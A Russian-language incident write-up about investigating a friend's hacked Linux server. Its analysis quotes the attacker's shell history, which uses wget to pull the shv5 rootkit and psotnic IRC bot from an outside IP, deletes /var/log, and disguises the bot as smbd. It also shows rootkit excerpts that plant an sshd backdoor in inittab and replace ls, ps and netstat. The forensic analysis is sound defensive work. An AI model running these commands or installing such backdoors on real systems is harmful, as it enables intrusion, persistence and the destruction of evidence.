В один из дней мой друг попросил
посмотреть его Linux-сервер. "Его поведение
несколько странно", - сказал он, самый
заметный глюк состоял в том, что сервер Apache
не запускался. Однако в конце концов
вылилось это в нечто большее..
У меня уже был аккаунт на сервере, так что
я сразу приступил к исследованиям. Первое
же, что я заметил, было странное поведение ls:
lars@server1:~$ ls ls: invalid option -- h Try `ls --help' for more information
Довольно странно. Почему ls применяет -h
неправильно? У меня был алиас для ls, так что
я отвязал его, и он заработал нормально:
lars@server1:~$ alias ls alias ls='ls -sh --color=auto' lars@server1:~$ unalias ls lars@server1:~$ ls backup lars@server1:~$
Странно. Я решил заняться этой проблемой
позднее, а пока поднять Apache:
lars@server1:~$ sudo /etc/init.d/apache2 start Password: * Starting apache 2.0 web server... (2): apache2: could not open error log file /var/log/apache2/error.log. Unable to open logs ...fail!
Ну и..? Быстрый поиск в /var/log/ показал, что на
самом деле каталог apache2 отсутствует, но все
остальные типичные директории типа mysql, exim4,
samba и т.д. так же отсутствовали. Нечто на этом
сервере было не так. Неужели мой друг по
ошибке все удалил? Он клялся, что нет. Я
вошел под рутом, чтобы поправить
каталоги:
lars@server1:~$ sudo su - Password: root@server1:~# ls ls: unrecognized prefix: do ls: unparsable value for LS_COLORS environment variable total 44 4 . 4 .bashrc 4 .ssh 4 .. 4 .lesshst 8 .viminfo 8 .bash_history 4 .profile 4 .vimrc
Опять проблемы с ls? Снова алиас:
root@server1:~# alias ls alias ls='ls -sa --color=auto' root@server1:~# unalias ls root@server1:~# ls root@server1:~#
К этому времени я начал подозревать, что
неправильное поведение сервера связано со
взломом - странное поведение ls и отсутствие
каталогов в /var/log/ свидетельствовали именно
об этом. Мои подозрения подтвердились, когда
я просмотрел .bash_history:
root@server1:~# cat -n .bash_history ... 340 w 341 cd /var 342 wget http://83.19.148.250/~matys/pliki/shv5.tar.gz 343 tar -zxf shv5.tar.gz 344 rm -rf shv5.tar.gz 345 mv shv5 .x 346 cd .x 347 ./setup zibi.joe.149 54098 348 passwd 349 passwd 350 ps aux 351 crontab -l 352 cat /etc/issue 353 cat /etc/passwd 354 w 355 who 356 cd /usr/lib/libsh 357 ls 358 hide + 359 chmod +x hide 360 hide + 361 ./hide + 362 cd /var/.x 363 mkdir psotnic 364 cd psotnic 365 wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz 366 tar -zxf psotnic0.2.5.tar.gz 367 rm -rf psotnic0.2.5.tar.gz 368 ls 369 mv psotnic-0.2.5-linux-static-ipv6 synscan 370 ./synscan 371 vi conf 372 vi conf1 373 mv synscan smbd 374 smbd -c conf 375 ls 376 ps aux 377 ls 378 ./smbd -c conf 379 ./smbd -c conf1 380 ./smbd conf 381 ./smbd conf1 382 ./smbd -a conf conf1 383 rm -rf conf.dec 384 rm -rf conf1.dec 385 cd /usr/lib/libsh 386 ./hide + 387 exit ... 425 ssh ftp@62.101.251.166 426 w 427 ls 428 ls 429 cd /var/.x 430 ls 431 cd psotnic/ 432 ls 433 rm -rf /var/log/* 434 exit 435 ls 436 cd /var/.x/psotnic/ 437 ls 438 vi conf2 439 ./smbd -c conf2 440 ./smbd conf2 441 ./smbd -a conf conf1 conf2 442 rm -rf conf2.dec 443 cd .. 444 ls 445 cd /usr/lib/libsh 446 hide + 447 ./hide + 448 exit 449 ps aux 450 cd /var/.x 451 ls 452 ls 453 cd psotnic/ 454 ls 455 cat pid.MastaH 456 kill -9 2030 457 ./synscan -a conf conf1 458 ./smbd -a conf conf1 459 cd /usr/lib/libsh 460 ./hide + ...
Так и есть. Сервер был взломан! Я находил
все это достаточно занимательным, но мой
друг так не считал. Нападающий сделал одну
элементарную ошибку, не очистив .bash_history, но,
вероятно, это не единственная его/ее ошибка.
Давайте займемся расследованием.
Во-первых. Что скрывается в /var/.x/ и что
делает команда setup zibi.joe.149 54098?
root@server1:/var/.x# file setup setup: Bourne-Again shell script text executable root@server1:/var/.x# wc -l setup 825 setup root@server1:/var/.x# head -17 setup #!/bin/bash # # shv5-internal-release # by: PinT[x] April/2003 # # greetz to: # # [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 # C00L|0, GolDenLord, Spike, zion ... # [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ... # [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ... # [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc.. # [*] And all others who diserve to be here but i forgot # [*] them at the moment ! # # PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !
Теперь ясно, что этот маленький скрипт
сыграл немалую роль - он установил ssh-бекдор
как /bin/ttyload, который затем прописался в /etc/inittab
для автоматического запуска после
перезагрузки:
mv $SSHDIR/sshd /sbin/ttyload chmod a+xr /sbin/ttyload chmod o-w /sbin/ttyload touch -acmr /bin/ls /sbin/ttyload chattr +isa /sbin/ttyload kill -9 `pidof ttyload` >/dev/null 2>&1 .... # INITTAB SHUFFLING chattr -isa /etc/inittab cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1 cat /etc/inittab |grep getty > /tmp/.init2 echo "# Loading standard ttys" >> /tmp/.init1 echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1
К тому же, он пробекдорил несколько
стандартных команд Linux:
# Backdoor ps/top/du/ls/netstat/etc.. cd $BASEDIR/bin BACKUP=/usr/lib/libsh/.backup mkdir $BACKUP ... # ls ... chattr -isa /bin/ls cp /bin/ls $BACKUP mv -f ls /bin/ls chattr +isa /bin/ls
Теперь стало ясно, почему не запускался
мой ls!
root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/ total 552 -rwxr-xr-x 1 root root 126276 Dec 24 22:58 find -rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig -rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls -rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum -rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat -rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps -rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree -rwxr-xr-x 1 root root 50180 Dec 24 22:58 top
И посмотрите на время. Сделано это было в
Рождество!
Ясно, что оригинальный и
новоустановленный ls различны, это показали
и контрольные суммы:
root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/.backup/ls 0a07cf554c1a74ad974416f60916b78d /bin/ls root@server1:~# file /bin/ls /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped root@server1:~# file /usr/lib/libsh/.backup/ls /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), for GNU/Linux 2.6.0, stripped
Бекдор sh5.tar.gz был скачан так (копию его вы
можете скачать тут):
root@server1:~# dig +short -x 83.19.148.250 4lo.bydg.pl.
Я не мог много сделать с этим сайтом, так
как он был польский. Я полагаю, и напавший
хакер не имел никакой с ним связи, не дурак
же он - но он опять допустил несколько
важных ошибок.
Вывод команды setup вы можете видеть на
скриншоте (я запустил его в "песочнице"
дома на своей машине):
Ок, виден zibi.joe.149 - пароль, 54098 - порт. Он
использует старую версию sshd с ssh.com, что
видно на следующем скриншоте:
Бекдор установлен. Следующим шагом хакера
будет установка irc-бота и превращение сервера
в зомби. Вот что и содержал psotnic0.2.5.tar.gz.
Атакующий извлек его из архива и
переименовал бота в smbd, типичное название
для демона Samba.
Дальше он создал два конфигурационных
файла, которые содержали записи об irc-сервере
и канале. Конфиги затем зашифрованы и
текстовые файлы удалены.
371 vi conf 372 vi conf1 .... 378 ./smbd -c conf 379 ./smbd -c conf1 380 ./smbd conf 381 ./smbd conf1 382 ./smbd -a conf conf1